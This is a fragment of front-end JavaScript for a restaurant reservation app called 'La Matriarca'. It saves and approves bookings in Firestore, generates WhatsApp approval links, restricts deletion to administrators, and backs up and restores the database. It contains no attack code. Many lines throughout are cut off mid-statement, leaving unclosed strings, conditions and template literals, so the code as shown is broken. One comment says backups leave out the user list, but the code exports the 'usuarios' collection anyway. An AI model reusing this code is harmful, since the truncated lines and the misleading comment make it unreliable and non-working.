    console.error('Error eliminando salón:', err);
    alert('No se pudo eliminar el salón. Revisa tu conexión e intenta de nuevo.')
  });
}

document.getElementById('overlaySalon').addEventListener('click', e=>{
  if(e.target.id==='overlaySalon') cerrarModalSalon();
```

```
});

let guardandoReserva = false;
function guardarReserva(){
  // Evita que un doble clic (frecuente con mouse/trackpad en computador, o
  // una conexión lenta) mande la reserva dos o tres veces mientras Firestore
  // todavía está procesando la primera.
  if(guardandoReserva) return;
  // Refuerzo de seguridad: si esta es una reserva ya existente de un día
  // que ya pasó, no se guarda ningún cambio, aunque el botón Guardar ya
  // esté oculto para ese caso — por si se dispara de otra forma.
  { const rExistente = editandoId ? reservas.find(x => x.id === editandoId) : nul
    if(reservaFechaVencida(rExistente)){ alert('Esta reserva es de un día que ya
  const nombre = document.getElementById('fNombre').value.trim();
  if(!nombre){ alert('Ingresa el nombre completo del cliente.'); return; }
  // Datos primordiales: sin estos, el staff no tiene lo mínimo para poder
  // atender la reserva el día del evento (a quién buscar, cuántos son, a
  // qué hora, y en qué mesa sentarlos), así que no se deja continuar.
  // El menú y las observaciones sí quedan como opcionales — no bloquean.
  const celularLocalNueva = document.getElementById('fCelular').value.trim();
  if(!celularLocalNueva){ alert('Ingresa el celular de contacto del cliente — es
  const paxNueva = document.getElementById('fPax').value;
  if(!paxNueva || Number(paxNueva) < 1){ alert('Ingresa la cantidad de personas d
  const horaNueva = document.getElementById('fHora').value;
  if(!horaNueva){ alert('Selecciona la hora de la reserva.'); return; }
  const horaSalidaNueva = document.getElementById('fHoraSalida').value; // opcion
  const mesaNueva = document.getElementById('fMesa').value;
  // La mesa solo es obligatoria para reservas aprobadas/confirmadas — una
  // reserva "Pendiente" puede estar todavía en gestión (esperando datos,
  // ya se llamó al cliente, etc.) sin que eso signifique ocupar una mesa
  // de una vez. La mesa se asigna cuando de verdad se activa/aprueba.
  if(!mesaNueva && estadoSeleccionado !== 'cancelada' && estadoSeleccionado !== '
  // Ninguna reserva se puede cancelar sin dejar constancia del motivo —
  // así siempre se puede dar seguimiento a por qué se cayó, sin importar
  // desde dónde se esté cancelando (Solicitudes, Por día, etc.).
  if(estadoSeleccionado === 'cancelada'){
    const motivoTexto = document.getElementById('fMotivoCancelacion').value.trim(
    if(!motivoTexto){
      alert('Por favor ingresa el motivo de la cancelación antes de continuar — e
      const wrapMotivo = document.getElementById('motivoCancelacionWrap');
      if(wrapMotivo) wrapMotivo.style.display = 'block';
      document.getElementById('fMotivoCancelacion').focus();
      return;
    }
  }
  // Si el bloque de "Fecha y turno de la reserva" está visible (solo pasa
  // al editar), usamos lo que el staff haya puesto ahí para mover la
```

```
// reserva de día. Si no, se usa modalFecha/modalTurno tal cual (fijo en
// hoy para una reserva nueva, sin que el staff pueda tocarlo ahí).
let fechaFinal = modalFecha, turnoFinal = modalTurno;
const fechaReservaEditBlock = document.getElementById('fechaReservaEditBlock');
if(fechaReservaEditBlock.style.display !== 'none'){
  fechaFinal = document.getElementById('fFechaReservaEdit').value || modalFecha
  turnoFinal = document.getElementById('fTurnoReservaEdit').value || modalTurno
}
// Resguardo de datos: un "Promotor de eventos" solo puede crear/editar
// reservas de SU evento — sin importar qué haya quedado escrito en los
// campos de fecha/turno (por edición manual, un bug de UI, etc.), aquí
// se fuerza de vuelta a la fecha/turno del evento asignado. Así nunca
// puede quedar, por accidente o a propósito, una reserva suya fuera de
// su evento.
if(usuarioActual && usuarioActual.rol === 'promotor' && usuarioActual.eventoAsi
  fechaFinal = usuarioActual.eventoAsignado.fecha;
  turnoFinal = usuarioActual.eventoAsignado.turno;
}
// Si esta fecha/turno coincide con un evento especial activo, esta
// reserva pertenece a ese evento — sin importar si el staff la armó
// explícitamente por "Evento especial" o como reserva normal (la mesa y
// el cover ya se calculaban así, por fecha/turno; ahora el eventoId
// sigue exactamente la misma regla, para que nunca vuelvan a
// desincronizarse entre sí).
const evCorrespondiente = eventosCache.find(e => e.fecha === fechaFinal && e.tu
// v6.58 — La hora y el turno se eligen por separado al EDITAR y podían quedar
// descuadrados (ej. 12:00 PM en "Cena"). Se revisa antes de guardar.
{
  const turnoOk = resolverTurnoSegunHora(horaNueva, turnoFinal, fechaFinal);
  if(turnoOk === null) return;
  turnoFinal = turnoOk;
}
// Si esta reserva cae en un evento especial que exige cover, no se deja
// marcar como Aprobada sin haber cargado cuánto se cobró (con su
// comprobante) — se queda en Pendiente hasta que eso esté completo.
if(estadoSeleccionado === 'confirmada' && evCorrespondiente && evCorrespondient
  const tieneCover = document.getElementById('fTieneCover').checked;
  const hayAbonoConComprobante = tieneCover && coverAbonosTemp.some(a => a.comp
  if(!hayAbonoConComprobante){
    alert(`Este evento ("${evCorrespondiente.nombre}") exige cover — antes de p
    return;
  }
}
// La fecha de la solicitud de músicos es automática y de una sola vez:
// se fija el día en que se marca el check por primera vez, y aunque la
// reserva se vuelva a editar después (a veces días distintos), esa
// fecha ya no se mueve — es un registro de cuándo se pidió, no de
```

```
// cuándo se editó la reserva por última vez.
const reservaExistenteParaMusico = editandoId ? reservas.find(r => r.id === edi
const fechaSolicitudMusicoFinal = document.getElementById('fSolicitudMusico').c
  ? ((reservaExistenteParaMusico && reservaExistenteParaMusico.fechaSolicitudMu
  : '';
const data = {
  fecha: fechaFinal,
  turno: turnoFinal,
  hora: document.getElementById('fHora').value || '00:00',
  horaSalida: document.getElementById('fHoraSalida').value || '',
  franjaCena: (turnoFinal==='cena' && diaEsFinDeSemanaCena(fechaFinal)) ? (docu
  pax: Number(document.getElementById('fPax').value)||1,
  nombre,
  celular: armarCelularCompleto(document.getElementById('fCelularCod').value, d
  correo: document.getElementById('fCorreo').value.trim(),
  cumpleanos: document.getElementById('fCumpleanos').value,
  mesa: document.getElementById('fMesa').value,
  canal: document.getElementById('fCanal').value,
  abono: valorAbonoParaGuardar(),
  abonoPactado: document.getElementById('fTieneAbonoPactado').checked ? (numCam
  abonoAbonos: document.getElementById('fTieneAbonoPactado').checked ? abonoPac
  menu: document.getElementById('fMenu').value,
  obs: document.getElementById('fObs').value.trim(),
  estado: estadoSeleccionado,
  coverValorPersona: document.getElementById('fTieneCover').checked ? (numCampo
  // coverValor se guarda como TOTAL (por persona × pax) — así el badge
  // de la tarjeta y el mensaje de WhatsApp pueden seguir mostrando el
  // total sin tener que recalcularlo cada vez.
  coverValor: document.getElementById('fTieneCover').checked ? (numCampo('fCove
  // Abonos parciales del cover (fecha + monto de cada pago) — separado
  // del abono de consumo. Se guarda vacío si no tiene cover.
  coverAbonos: document.getElementById('fTieneCover').checked ? coverAbonosTemp
  // Marca visible en la tarjeta para que el staff sepa, sin abrir la
  // reserva, que esta gestión necesita coordinar músicos/show aparte.
  solicitudMusico: document.getElementById('fSolicitudMusico').checked,
  obsMusico: document.getElementById('fSolicitudMusico').checked ? document.get
  fechaSolicitudMusico: fechaSolicitudMusicoParaGuardar(),
};
if(coverComprobanteBase64Temp){
  data.comprobanteCover = coverComprobanteBase64Temp;
  data.comprobanteCoverSubidoEn = new Date().toISOString();
} else if(editandoId && !document.getElementById('fTieneCover').checked){
  // Si se desmarca "tiene cover" en una reserva EXISTENTE que ya tenía
  // comprobante guardado, se borra también — ya no aplica. (No se usa
  // FieldValue.delete() al crear una reserva nueva porque ahí el
  // documento todavía no existe — con set() sin merge eso da error.)
  data.comprobanteCover = firebase.firestore.FieldValue.delete();
```

```
  data.comprobanteCoverSubidoEn = firebase.firestore.FieldValue.delete();
}
// Se revisa SIEMPRE, tanto al crear como al editar — no solo al crear —
// porque si a una reserva le cambian la fecha/turno después (se
// reprograma para otro día), la etiqueta del evento tiene que
// actualizarse con ella: quitarse si ya no coincide con ningún evento,
// o cambiar al que corresponda a la nueva fecha. Antes solo se
// calculaba al crear, y una reserva reprogramada se quedaba con el
// nombre del evento viejo pegado para siempre.
// OJO: FieldValue.delete() solo es válido en update() — una reserva
// NUEVA se crea con set() sin merge, así que ahí simplemente se omiten
// los campos (nunca se llegan a escribir) en vez de "borrarlos".
if(evCorrespondiente){
  data.eventoId = evCorrespondiente.id;
  data.eventoNombre = evCorrespondiente.nombre;
} else if(editandoId){
  data.eventoId = firebase.firestore.FieldValue.delete();
  data.eventoNombre = firebase.firestore.FieldValue.delete();
}
// Para el seguimiento de canceladas en los informes: guarda el motivo, y
// si esta reserva YA estaba aprobada (confirmada/pendiente/walk-in)
// antes de que se cancelara justo ahora — eso es lo que distingue "una
// reserva que se cayó después de estar aprobada" de "una solicitud que
// nunca se llegó a aprobar". Si ya venía cancelada de antes (solo se
// está editando el motivo), se conserva lo que ya tenía guardado.
const reservaAnterior = editandoId ? reservas.find(x => x.id === editandoId) :
if(estadoSeleccionado === 'cancelada'){
  data.motivoCancelacion = document.getElementById('fMotivoCancelacion').value.
  if(reservaAnterior && reservaAnterior.estado === 'cancelada'){
    data.fueAprobadaAntesDeCancelar = !!reservaAnterior.fueAprobadaAntesDeCance
  } else if(reservaAnterior){
    data.fueAprobadaAntesDeCancelar = ['confirmada','pendiente','walkin'].inclu
  } else {
    data.fueAprobadaAntesDeCancelar = false;
  }
} else {
  data.motivoCancelacion = '';
  data.fueAprobadaAntesDeCancelar = false;
}
// Si el bloque de "Fecha de solicitud" está visible, guardamos lo que
// el staff haya puesto ahí (permite corregir a mano registros viejos
// que no traían este dato, o ajustar la fecha real si se equivocó).
if(document.getElementById('fechaSolicitudBlock').style.display !== 'none'){
  const valorFechaSol = document.getElementById('fFechaSolicitud').value;
  if(valorFechaSol) data.fechaSolicitud = valorFechaSol;
} else if(!editandoId){
  // Reserva nueva creada de cero (por teléfono, presencial, etc.) — el
```

```
  // día en que se ORIGINA el proceso queda fijo en hoy automáticamente.
  // No es un campo que el staff pueda escribir o cambiar: es el momento
  // real en que se está haciendo la gestión, sin importar para qué
  // fecha sea la reserva en sí (eso lo decide "fecha" arriba, navegando
  // el calendario, que es un dato totalmente aparte).
  const hoy = new Date();
  data.fechaSolicitud = `${hoy.getFullYear()}-${String(hoy.getMonth()+1).padSta
  data.horaSolicitud = horaSolicitudActual();
  data.pasoPorSolicitud = true;
}
// Antes de guardar: si hay otra reserva activa (de cualquier canal) para
// este mismo cliente en esta misma fecha y turno, se BLOQUEA el guardado
// por completo (no se deja crear la reserva duplicada) — el staff tiene
// que cambiar la fecha, el turno o el celular si de verdad se trata de
// otra reserva aparte. Esto es un refuerzo por si se llegara a disparar
// el guardado sin pasar por el bloqueo visual del formulario.
const posibleDuplicada = buscarReservaDuplicada(data.fecha, data.turno, data.ce
if(posibleDuplicada){
  alert(mensajeReservaDuplicada(posibleDuplicada));
  return;
}
sellarUsuarioEnReserva(data, !editandoId);
// Marca de fecha/hora de APROBACIÓN — se guarda en dos casos: (1) el
// momento exacto en que la reserva pasa a "Confirmada" por primera vez,
// o (2) si YA estaba confirmada pero le falta este dato (reservas
// aprobadas antes de que existiera este campo) — así basta con volver a
// abrirla y guardar (sin cambiar nada más) para rellenarla. Si ya tiene
// el dato guardado, no se toca — no se pisa la fecha real de aprobación.
if(estadoSeleccionado === 'confirmada' && (!reservaAnterior || reservaAnterior.
  data.ultimaEdicionEn = new Date().toISOString();
}
// Si esta edición está cancelando una reserva que antes NO estaba
// cancelada, se libera su candado de duplicados para que ese celular
// pueda volver a reservar en esa fecha y turno más adelante.
const seEstaCancelandoAhora = editandoId && estadoSeleccionado === 'cancelada'
const promesaCodigo = (!editandoId) ? generarCodigoReserva() : Promise.resolve(
const promesa = promesaCodigo.then(codigo => {
  if(codigo) data.codigoReserva = codigo;
  if(editandoId){
    return reservasRef.doc(editandoId).update(data).then(() => {
      if(seEstaCancelandoAhora) liberarCandadoReserva(data.celular, data.fecha,
    });
  }
  return crearReservaConCandado(data);
});

guardandoReserva = true;
```

```
  const btnGuardar = document.getElementById('btnGuardarReserva');
  if(btnGuardar){ btnGuardar.disabled = true; btnGuardar.textContent = 'Guardando

  promesa.then(() => {
    guardandoReserva = false;
    // Registra o actualiza al cliente en la base de datos de clientes —
    // pasa con CUALQUIER reserva gestionada desde acá (teléfono,
    // presencial, etc.), sin importar el estado. No debe romper el
    // guardado de la reserva si falla, así que el error solo queda en
    // consola.
    upsertCliente(data).catch(err => console.error('No se pudo registrar el clien
    cerrarModal(); // Firestore actualiza la app sola vía onSnapshot
  }).catch(err => {
    guardandoReserva = false;
    if(btnGuardar){ btnGuardar.disabled = false; btnGuardar.textContent = 'Guarda
    console.error('Error guardando reserva:', err);
    if(err && err.motivo === 'DUPLICADO_SIMULTANEO'){
      alert('⚠️ Justo en este instante se acaba de crear otra reserva para este m
      return;
    }
    // v6.41 — antes este aviso era siempre el mismo y escondía la causa real
    // (cuota diaria de Firebase agotada, permisos, conexión...). Ahora dice
    // el código del error para poder saber de verdad qué está pasando.
    const codigoErr = (err && (err.code || err.name)) ? String(err.code || err.na
    const pistaErr = codigoErr.includes('resource-exhausted') ? '\n\n⚠ Parece que
      : codigoErr.includes('permission-denied') ? '\n\n⚠ Firebase rechazó el perm
      : (codigoErr.includes('unavailable') || codigoErr.includes('deadline')) ? '
    alert('No se pudo guardar la reserva. Revisa tu conexión e intenta de nuevo.\
  });
}

function urlAprobacion(id){
  return new URL('aprobar.html', location.href).href + '?id=' + encodeURIComponen
}

function enviarParaAprobacion(){
  const miTokenAprobacion = modalToken;
  // Refuerzo de seguridad, igual que con eliminarReserva: aunque el botón
  // ya está oculto para una reserva de un día que ya pasó, esto bloquea el
  // envío real por si se llega a invocar de otra forma.
  { const rExistente = editandoId ? reservas.find(x => x.id === editandoId) : nul
    if(reservaFechaVencida(rExistente)){ alert('Esta reserva es de un día que ya
  const nombre = document.getElementById('fNombre').value.trim();
  const celularLocal = document.getElementById('fCelular').value.trim();
  const mesa = document.getElementById('fMesa').value;
  const pax = document.getElementById('fPax').value;
  const hora = document.getElementById('fHora').value;
```

```
const horaSalida = document.getElementById('fHoraSalida').value; // opcional
if(!nombre){ alert('Ingresa el nombre completo del cliente.'); return; }
if(!celularLocal){ alert('Ingresa el celular del cliente para poder enviarle el
if(!pax || Number(pax) < 1){ alert('Ingresa la cantidad de personas de la reser
if(!hora){ alert('Selecciona la hora de la reserva.'); return; }
const celular = armarCelularCompleto(document.getElementById('fCelularCod').val
const digitosCliente = digitosWhatsapp(celular);
if(!digitosCliente){
  alert(`El número "${celular}" no parece válido. Revísalo e intenta de nuevo.`
  return;
}
if(!mesa){ alert('Asigna una mesa en el plano antes de enviar para aprobación —
{ // v6.58 — misma revisión hora/turno que al guardar
  const turnoOk = resolverTurnoSegunHora(hora, modalTurno, modalFecha);
  if(turnoOk === null) return;
  if(turnoOk !== modalTurno){
    modalTurno = turnoOk;
    const selT = document.getElementById('fTurnoReservaEdit'); if(selT) selT.va
  }
}

const btnAprob = document.getElementById('btnEnviarParaAprobacion');
if(btnAprob){ btnAprob.disabled = true; btnAprob.textContent = 'Guardando…'; }

const data = {
  fecha: modalFecha,
  turno: modalTurno,
  hora: document.getElementById('fHora').value || '00:00',
  horaSalida: horaSalida || '',
  franjaCena: (modalTurno==='cena' && diaEsFinDeSemanaCena(modalFecha)) ? (docu
  pax: Number(document.getElementById('fPax').value)||1,
  nombre,
  celular,
  mesa,
  canal: document.getElementById('fCanal').value,
  abono: valorAbonoParaGuardar(),
  abonoPactado: document.getElementById('fTieneAbonoPactado').checked ? (numCam
  abonoAbonos: document.getElementById('fTieneAbonoPactado').checked ? abonoPac
  menu: document.getElementById('fMenu').value,
  obs: document.getElementById('fObs').value.trim(),
  estado: 'pendiente_aprobacion',
  aprobadaPorCliente: false,
  pasoPorSolicitud: true,
  coverValorPersona: document.getElementById('fTieneCover').checked ? (numCampo
  // coverValor se guarda como TOTAL (por persona × pax) — así el badge
  // de la tarjeta y el mensaje de WhatsApp pueden seguir mostrando el
  // total sin tener que recalcularlo cada vez.
```

```
  coverValor: document.getElementById('fTieneCover').checked ? (numCampo('fCove
  coverAbonos: document.getElementById('fTieneCover').checked ? coverAbonosTemp
  solicitudMusico: document.getElementById('fSolicitudMusico').checked,
  obsMusico: document.getElementById('fSolicitudMusico').checked ? document.get
  fechaSolicitudMusico: fechaSolicitudMusicoParaGuardar(),
};
if(coverComprobanteBase64Temp){
  data.comprobanteCover = coverComprobanteBase64Temp;
  data.comprobanteCoverSubidoEn = new Date().toISOString();
} else if(editandoId && !document.getElementById('fTieneCover').checked){
  data.comprobanteCover = firebase.firestore.FieldValue.delete();
  data.comprobanteCoverSubidoEn = firebase.firestore.FieldValue.delete();
}
// Misma regla que en guardarReserva(): si la fecha/turno de esta reserva
// coincide con un evento especial activo, pertenece a ese evento —
// aunque se haya armado como reserva "normal". Se revisa siempre, no
// solo al crear, para que una reserva reprogramada nunca se quede con
// la etiqueta de un evento que ya no le corresponde.
const evCorrespondienteAprob = eventosCache.find(e => e.fecha === modalFecha &&
// OJO: FieldValue.delete() solo es válido en update() — igual que en
// guardarReserva(), una reserva nueva se crea con set() sin merge, así
// que ahí se omiten los campos en vez de "borrarlos".
if(evCorrespondienteAprob){
  data.eventoId = evCorrespondienteAprob.id;
  data.eventoNombre = evCorrespondienteAprob.nombre;
} else if(editandoId){
  data.eventoId = firebase.firestore.FieldValue.delete();
  data.eventoNombre = firebase.firestore.FieldValue.delete();
}

// La fecha de "solicitud" (cuándo entró al flujo de aprobación) no se
// debe pisar si esta reserva ya tenía una — por ejemplo si originalmente
// llegó por WhatsApp (solicitud.html) y el staff apenas la está enviando
// a aprobación ahora. Solo se asigna hoy si es la primera vez que entra
// a este flujo.
const reservaExistente = editandoId ? reservas.find(r => r.id === editandoId) :
if(!reservaExistente || !reservaExistente.fechaSolicitud){
  const hoy = new Date();
  data.fechaSolicitud = `${hoy.getFullYear()}-${String(hoy.getMonth()+1).padSta
  data.horaSolicitud = horaSolicitudActual();
}
const posibleDuplicadaAprob = buscarReservaDuplicada(data.fecha, data.turno, da
if(posibleDuplicadaAprob){
  alert(mensajeReservaDuplicada(posibleDuplicadaAprob));
  if(btnAprob){ btnAprob.disabled = false; btnAprob.textContent = '✉ Enviar par
  return;
}
```

```
sellarUsuarioEnReserva(data, !editandoId);

const necesitaCodigo = !editandoId || !reservaExistente || !reservaExistente.co
const promesaCodigo = necesitaCodigo ? generarCodigoReserva() : Promise.resolve
const promesa = promesaCodigo.then(codigo => {
  if(codigo) data.codigoReserva = codigo;
  if(editandoId){
    return reservasRef.doc(editandoId).update(data).then(()=>editandoId);
  }
  return crearReservaConCandado(data).then(reservaRef => reservaRef.id);
});

promesa.then(id => {
  // Mismo resguardo: si para cuando termina de guardarse el staff ya
  // había abierto otra reserva distinta, no se le muestra encima el
  // "Abrir WhatsApp" de esta — la reserva ya quedó guardada igual, solo
  // no se pisa la pantalla que está viendo ahora.
  if(miTokenAprobacion !== modalToken) return;
  const mensaje = armarMensaje(MENSAJES.aprobacion, {
    nombre,
    link: urlAprobacion(id),
    fecha: formatearFechaLarga(data.fecha),
    hora: data.hora,
    pax: data.pax,
    mesa: data.mesa ? mesaLabel(data.mesa) : 'Por confirmar',
    abono: data.abono > 0 ? ('$' + Number(data.abono).toLocaleString('es-CO'))
    menu: data.menu || 'Por definir',
    cover: data.coverValor > 0
      ? `$${Number(data.coverValorPersona).toLocaleString('es-CO')} por persona
      : 'Sin cover',
  });
  const waUrl = `https://wa.me/${digitosCliente}?text=${encodeURIComponent(mens
  document.getElementById('linkAbrirWhatsappAprobacion').href = waUrl;
  document.getElementById('destinoWhatsappAprobacionTexto').innerHTML = `Se env
  document.getElementById('modalTitle').textContent = 'Enviar para aprobación';
  document.getElementById('modalSub').textContent = 'Reserva guardada — falta q
  document.getElementById('formCompletoBlock').style.display = 'none';
  document.getElementById('aprobacionExitoBlock').style.display = 'block';
}).catch(err => {
  console.error('Error enviando para aprobación:', err);
  if(btnAprob){ btnAprob.disabled = false; btnAprob.textContent = '✉ Enviar par
  if(err && err.motivo === 'DUPLICADO_SIMULTANEO'){
    alert('⚠️ Justo en este instante se acaba de crear otra reserva para este m
    return;
  }
  alert('No se pudo enviar. Revisa tu conexión e intenta de nuevo.');
});
```

```
}

function eliminarReserva(){
  if(!editandoId) return;
  // Refuerzo de seguridad: aunque el botón ya está oculto para quien no es
  // administrador, esto bloquea el borrado real por si se llega a llamar
  // la función de otra forma (por ejemplo una versión vieja cacheada del
  // botón). Eliminar reservas queda exclusivo del administrador — el resto
  // del equipo solo puede cancelarlas, para que no se pierda la
  // trazabilidad de una solicitud que un cliente escribió y nadie contestó.
  const rol = usuarioActual ? (usuarioActual.rol || 'admin') : 'admin';
  if(rol !== 'admin'){ alert('Solo un administrador puede eliminar una reserva. S
  if(!confirm('¿Eliminar esta reserva? Esta acción no se puede deshacer. Si el cl
  // Envuelto en try/catch además del .catch() de la promesa: si algo falla
  // ANTES de que Firestore siquiera intente el borrado (por ejemplo un id
  // de reserva con un formato raro), antes se quedaba en silencio total,
  // sin ningún aviso — con esto, sea cual sea el problema, siempre se ve
  // algo en pantalla en vez de que el botón no haga nada.
  try {
    const rBorrada = reservas.find(x => x.id === editandoId);
    reservasRef.doc(editandoId).delete().then(() => {
      if(rBorrada) liberarCandadoReserva(rBorrada.celular, rBorrada.fecha, rBorra
      cerrarModal();
    }).catch(err => {
      console.error('Error eliminando reserva:', err);
      alert('No se pudo eliminar la reserva (' + (err && err.message ? err.messag
    });
  } catch(err) {
    console.error('Error eliminando reserva (antes de llegar a Firestore):', err,
    alert('No se pudo eliminar esta reserva — el id parece tener un formato inval
  }
}

function eliminarReservaDirecta(id, nombre){
  const rol = usuarioActual ? (usuarioActual.rol || 'admin') : 'admin';
  if(rol !== 'admin'){ alert('Solo un administrador puede eliminar una reserva. S
  if(!confirm(`¿Eliminar la reserva de "${nombre}"? Esta acción no se puede desha
  try {
    const rBorrada = reservas.find(x => x.id === id);
    reservasRef.doc(id).delete().then(() => {
      if(rBorrada) liberarCandadoReserva(rBorrada.celular, rBorrada.fecha, rBorra
    }).catch(err => {
      console.error('Error eliminando reserva:', err);
      alert('No se pudo eliminar la reserva (' + (err && err.message ? err.messag
    });
  } catch(err) {
    console.error('Error eliminando reserva (antes de llegar a Firestore):', err,
```

```
    alert('No se pudo eliminar esta reserva — el id parece tener un formato inval
  }
}

/* ============ BACKUP: DESCARGAR Y RESTAURAR ============ */
// Junta todo lo necesario para reconstruir el sistema desde cero: todas
// las reservas + la configuración (mensajes, carrusel, plano de mesas,
// horarios, el contador de códigos R-000xxx). NO incluye la lista de
// usuarios/contraseñas a propósito — esas cuentas están ligadas a Firebase
// Authentication, y restaurar ese documento sin restaurar también la
// cuenta de acceso real dejaría el sistema en un estado inconsistente
// (o peor, con un usuario "activo" en la base de datos que en realidad no
// existe o no puede iniciar sesión). Las cuentas de usuario se manejan
// aparte, en Config → Usuarios y accesos.
function descargarBackup(){
  const btn = document.getElementById('btnDescargarBackup');
  const estadoEl = document.getElementById('backupEstadoDescarga');
  if(btn){ btn.disabled = true; btn.textContent = 'Generando…'; }
  if(estadoEl) estadoEl.textContent = '';

  Promise.all([
    reservasRef.get(),
    db.collection('clientes').get(),
    db.collection('usuarios').get(),
    db.collection('eventos').get(),
    db.collection('salones').get(),
    db.collection('bloqueosReserva').get(),
    db.collection('solicitudesEliminacion').get(),
    db.collection('configuracion').doc('mensajes').get(),
    db.collection('configuracion').doc('carrusel').get(),
    db.collection('configuracion').doc('contadorReservas').get(),
    db.collection('configuracion').doc('planoMesas').get(),
    db.collection('configuracion').doc('horarios').get(),
    db.collection('configuracion').doc('festivos').get(),
    db.collection('configuracion').doc('fechasBloqueadas').get(),
  ]).then(async ([
    reservasSnap, clientesSnap, usuariosSnap, eventosSnap, salonesSnap, bloqueosS
    mensajesDoc, carruselDoc, contadorDoc, planoDoc, horariosDoc, festivosDoc, fe
  ]) => {
    const ahora = new Date();
    const fechaLegible = `${DIAS[ahora.getDay()]} ${ahora.getDate()} de ${MESES[a
    // version:2 — antes el backup solo traía reservas y una parte de la
    // configuración; ahora trae TODAS las colecciones, para que al
    // restaurar quede la base de datos completa tal como estaba, no solo
    // una parte. restaurarBackup() sigue aceptando backups viejos
    // (version:1) sin romper nada — simplemente no toca las colecciones
    // que ese backup más antiguo no incluía.
```

```
const backup = {
  tipo: 'backup-la-matriarca-reservas',
  version: 2,
  generadoEn: ahora.toISOString(),
  generadoEnLegible: fechaLegible,
  reservas: reservasSnap.docs.map(d => ({ id: d.id, ...d.data() })),
  clientes: clientesSnap.docs.map(d => ({ id: d.id, ...d.data() })),
  usuarios: usuariosSnap.docs.map(d => ({ id: d.id, ...d.data() })),
  eventos: eventosSnap.docs.map(d => ({ id: d.id, ...d.data() })),
  salones: salonesSnap.docs.map(d => ({ id: d.id, ...d.data() })),
  bloqueosReserva: bloqueosSnap.docs.map(d => ({ id: d.id, ...d.data() })),
  solicitudesEliminacion: solicitudesElimSnap.docs.map(d => ({ id: d.id, ...d
  configuracion: {
    mensajes: mensajesDoc.exists ? mensajesDoc.data() : null,
    carrusel: carruselDoc.exists ? carruselDoc.data() : null,
    contadorReservas: contadorDoc.exists ? contadorDoc.data() : null,
    planoMesas: planoDoc.exists ? planoDoc.data() : null,
    horarios: horariosDoc.exists ? horariosDoc.data() : null,
    festivos: festivosDoc.exists ? festivosDoc.data() : null,
    fechasBloqueadas: fechasBloqueadasDoc.exists ? fechasBloqueadasDoc.data()
  }
};
const nombreArchivo = `backup-la-matriarca-${fechaISO(ahora)}-${String(ahora.
const contenidoJSON = JSON.stringify(backup, null, 2);
const blob = new Blob([contenidoJSON], {type:'application/json'});

// En iOS/Safari (y en el navegador integrado de WhatsApp), el truco
// clásico de <a download> con un blob NO guarda el archivo de verdad
// — el navegador actúa como si descargara pero nada llega a
// Archivos. Por eso primero se intenta con el panel nativo de
// "Compartir" del teléfono (Web Share API con un archivo real), que
// sí incluye la opción "Guardar en Archivos". Si el navegador no
// soporta compartir archivos (la mayoría de computadores), se cae
// al método anterior, que en computador sí funciona bien.
let compartidoConExito = false;
try{
  const archivo = new File([blob], nombreArchivo, {type:'application/json'});
  if(navigator.canShare && navigator.canShare({files:[archivo]})){
    await navigator.share({files:[archivo]});
    compartidoConExito = true;
  }
} catch(errShare){
  // Si la persona cierra el panel de compartir sin elegir nada,
  // el navegador reporta esto como un error (AbortError) — no es
  // un fallo real, así que no mostramos alerta ni probamos el
  // método de respaldo, simplemente no hacemos nada más.
  if(errShare && errShare.name === 'AbortError'){
```

```
        if(btn){ btn.disabled = false; btn.textContent = '⬇️ Descargar backup ahc
        return;
      }
      console.error('No se pudo compartir el backup, se prueba el método de respa
    }

    if(!compartidoConExito){
      const url = URL.createObjectURL(blob);
      const a = document.createElement('a');
      a.href = url; a.download = nombreArchivo;
      document.body.appendChild(a); a.click(); document.body.removeChild(a);
      setTimeout(() => URL.revokeObjectURL(url), 30000);
    }

    if(estadoEl) estadoEl.textContent = `✓ Backup generado: ${fechaLegible} — ${b
  }).catch(err => {
    console.error('Error generando backup:', err);
    alert('No se pudo generar el backup. Revisa tu conexión e intenta de nuevo.')
  }).finally(() => {
    if(btn){ btn.disabled = false; btn.textContent = '⬇️ Descargar backup ahora';
  });
}

function restaurarBackup(){
  const input = document.getElementById('fBackupArchivo');
  const estadoEl = document.getElementById('backupEstadoRestaurar');
  const archivo = input.files[0];
  if(!archivo){ alert('Primero elige el archivo de backup (.json) que descargaste

  const lector = new FileReader();
  lector.onload = (evento) => {
    let backup;
    try{
      backup = JSON.parse(evento.target.result);
    } catch(e){
      alert('Este archivo no es un backup válido — no se pudo leer como JSON.');
      return;
    }
    if(!backup || backup.tipo !== 'backup-la-matriarca-reservas' || !Array.isArra
      alert('Este archivo no parece un backup de La Matriarca — revisa que sea el
      return;
    }
    // Backups viejos (version:1) solo traían reservas y una parte de la
    // configuración — así que además de reservas, solo se tocan las
    // demás colecciones si el backup realmente las incluye (Array.isArray).
    // Así un backup antiguo no borra por accidente clientes/usuarios/etc.
    // que ese backup nunca alcanzó a guardar.
```

```
const coleccionesAdicionales = ['clientes','usuarios','eventos','salones','bl
  .filter(nombre => Array.isArray(backup[nombre]));
const resumenColecciones = coleccionesAdicionales.length
  ? ', además de ' + coleccionesAdicionales.map(n => `${backup[n].length} en
  : ' (este backup es de una versión anterior y NO trae clientes, usuarios, e
// Se muestra la fecha con la que se generó ANTES de tocar nada, tal
// como se pidió, para confirmar que es el backup correcto antes de
// reemplazar los datos actuales. Además, igual que "Borrar TODAS las
// reservas", exige escribir una palabra exacta — un solo toque por
// error nunca puede disparar esto, porque es la única acción de todo
// el backup que sí modifica la base de datos (descargar el backup
// nunca la toca, solo la lee).
const escrito = prompt(
  `Este backup fue generado el ${backup.generadoEnLegible || '(fecha desconoc
  `Al restaurarlo se van a BORRAR todos los datos actuales de esas coleccione
  `Esta acción no se puede deshacer. Para confirmar, escribe la palabra RESTA
);
if(escrito !== 'RESTAURAR'){
  if(escrito !== null) alert('No coincide con "RESTAURAR" — no se modificó na
  return;
}

if(estadoEl) estadoEl.textContent = 'Restaurando… no cierres esta pantalla.';

// Reemplaza por completo una colección: borra todo lo que haya ahora
// y vuelve a escribir el arreglo del backup, respetando los IDs
// originales — en lotes de 450 por el límite de 500 operaciones por
// lote que tiene Firestore.
function reemplazarColeccionCompleta(nombreColeccion, arregloNuevo){
  const ref = db.collection(nombreColeccion);
  return ref.get().then(snapActual => {
    const docsActuales = snapActual.docs;
    const gruposBorrar = [];
    for(let i=0; i<docsActuales.length; i+=450) gruposBorrar.push(docsActuale
    let promesa = Promise.resolve();
    gruposBorrar.forEach(grupo => {
      promesa = promesa.then(() => {
        const batch = db.batch();
        grupo.forEach(d => batch.delete(d.ref));
        return batch.commit();
      });
    });
    return promesa;
  }).then(() => {
    const gruposEscribir = [];
